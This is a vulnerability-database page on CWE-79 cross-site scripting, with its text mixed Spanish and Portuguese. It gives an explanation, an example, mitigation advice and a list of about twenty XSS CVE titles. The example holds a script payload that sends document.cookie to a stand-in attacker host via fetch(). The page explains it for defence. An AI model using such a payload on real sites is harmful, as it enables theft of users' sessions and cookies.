Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-27280MEDIUMWordPress Archive Page plugin <= 1.0.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-28280MEDIUM`osctrl-admin` has Stored Cross-Site Scripting (XSS) in On-Demand Query ListEPSS 0.3%CVE-2025-47089MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-27307MEDIUMWordPress Quotes llama plugin <= 3.0.1 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-13375MEDIUMWatchGuard Firebox Stored Cross-Site-Scripting (XSS) Vulnerability in Autotask Technology Integration ConfigurationEPSS 0.3%CVE-2025-48254MEDIUMWordPress Change Add to Cart Button Text for WooCommerce plugin <= 2.2.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-49306MEDIUMWordPress WP Social Widget plugin <= 2.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-53282MEDIUMImproper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in WiFi Connect MAC Filter functionality EPSS 0.3%CVE-2024-35621MEDIUMA cross-site scripting (XSS) vulnerability in the Edit function of Formwork before 1.13.0 allows attackers to execute arbitrary web scripts EPSS 0.3%CVE-2024-12207MEDIUMToggles Shortcode and Widget <= 1.14 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-53280MEDIUMImproper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in network center policy route functionalEPSS 0.3%CVE-2026-3005MEDIUMList category posts <= 0.94.0 - Authenticated (Author+) Stored Cross-Site Scripting via 'catlist' ShortcodeEPSS 0.3%CVE-2025-13904MEDIUMWPGancio <= 1.12 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2024-41141MEDIUMStored cross-site scripting vulnerability exists in EC-CUBE Web API Plugin. When there are multiple users using OAuth Management feature andEPSS 0.3%CVE-2026-1804MEDIUMWDES Responsive Popup <= 1.3.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'attr' Shortcode AttributeEPSS 0.3%CVE-2025-48256MEDIUMWordPress Import Social Events plugin <= 1.8.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-71803MEDIUMmoney-pos 1.0 contains a stored Cross-Site Scripting (XSS) vulnerability. When processing returns, the backend fails to filter or escape theEPSS 0.3%CVE-2024-56233HIGHWordPress Kintpv Wooconnect plugin <= 8.129 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-13961MEDIUMData Visualizer <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2026-34071MEDIUMStirling-PDF has Stored Cross Site Scripting (XSS) via EML-to-HTML ExportEPSS 0.3%